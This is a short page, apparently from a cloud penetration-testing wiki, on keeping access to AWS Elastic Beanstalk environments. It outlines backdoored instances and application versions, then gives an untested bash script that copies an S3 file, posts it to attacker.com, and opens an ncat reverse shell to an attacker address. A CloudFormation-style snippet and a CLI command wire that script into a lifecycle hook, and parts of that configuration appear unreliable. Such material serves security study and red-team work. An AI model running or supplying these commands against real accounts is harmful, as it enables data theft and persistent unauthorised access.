# AWS - Elastic Beanstalk Persistence

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## Elastic Beanstalk

For more information check:

{{#ref}}
../aws-services/aws-elastic-beanstalk-enum.md
{{#endref}}

### Persistence in Instance

In order to maintain persistence inside the AWS account, some **persistence mechanism could be introduced inside the instance** (cron job, ssh key...) so the attacker will be able to access it and steal IAM role **credentials from the metadata service**.

### Backdoor in Version

An attacker could backdoor the code inside the S3 repo so it always execute its backdoor and the expected code.

### New backdoored version

Instead of changing the code on the actual version, the attacker could deploy a new backdoored version of the application.

### Abusing Custom Resource Lifecycle Hooks

> [!NOTE]
> TODO: Test

Elastic Beanstalk provides lifecycle hooks that allow you to run custom scripts during instance provisioning and termination. An attacker could **configure a lifecycle hook to periodically execute a script that exfiltrates data or maintains access to the AWS account**.

```bash
bashCopy code# Attacker creates a script that exfiltrates data and maintains access
echo '#!/bin/bash
aws s3 cp s3://sensitive-data-bucket/data.csv /tmp/data.csv
gzip /tmp/data.csv
curl -X POST --data-binary "@/tmp/data.csv.gz" https://attacker.com/exfil
ncat -e /bin/bash --ssl attacker-ip 12345' > stealthy_lifecycle_hook.sh

# Attacker uploads the script to an S3 bucket
aws s3 cp stealthy_lifecycle_hook.sh s3://attacker-bucket/stealthy_lifecycle_hook.sh

# Attacker modifies the Elastic Beanstalk environment configuration to include the custom lifecycle hook
echo 'Resources:
  AWSEBAutoScalingGroup:
    Metadata:
      AWS::ElasticBeanstalk::Ext:
        TriggerConfiguration:
          triggers:
            - name: stealthy-lifecycle-hook
              events:
                - "autoscaling:EC2_INSTANCE_LAUNCH"
                - "autoscaling:EC2_INSTANCE_TERMINATE"
              target:
                ref: "AWS::ElasticBeanstalk::Environment"
              arn:
                Fn::GetAtt:
                  - "AWS::ElasticBeanstalk::Environment"
                  - "Arn"
  stealthyLifecycleHook:
    Type: AWS::AutoScaling::LifecycleHook
    Properties:
      AutoScalingGroupName:
        Ref: AWSEBAutoScalingGroup
      LifecycleTransition: autoscaling:EC2_INSTANCE_LAUNCHING
      NotificationTargetARN:
        Ref: stealthy-lifecycle-hook
      RoleARN:
        Fn::GetAtt:
          - AWSEBAutoScalingGroup
          - Arn' > stealthy_lifecycle_hook.yaml

# Attacker applies the new environment configuration
aws elasticbeanstalk update-environment --environment-name my-env --option-settings Namespace="aws:elasticbeanstalk:customoption",OptionName="CustomConfigurationTemplate",Value="stealthy_lifecycle_hook.yaml"
```

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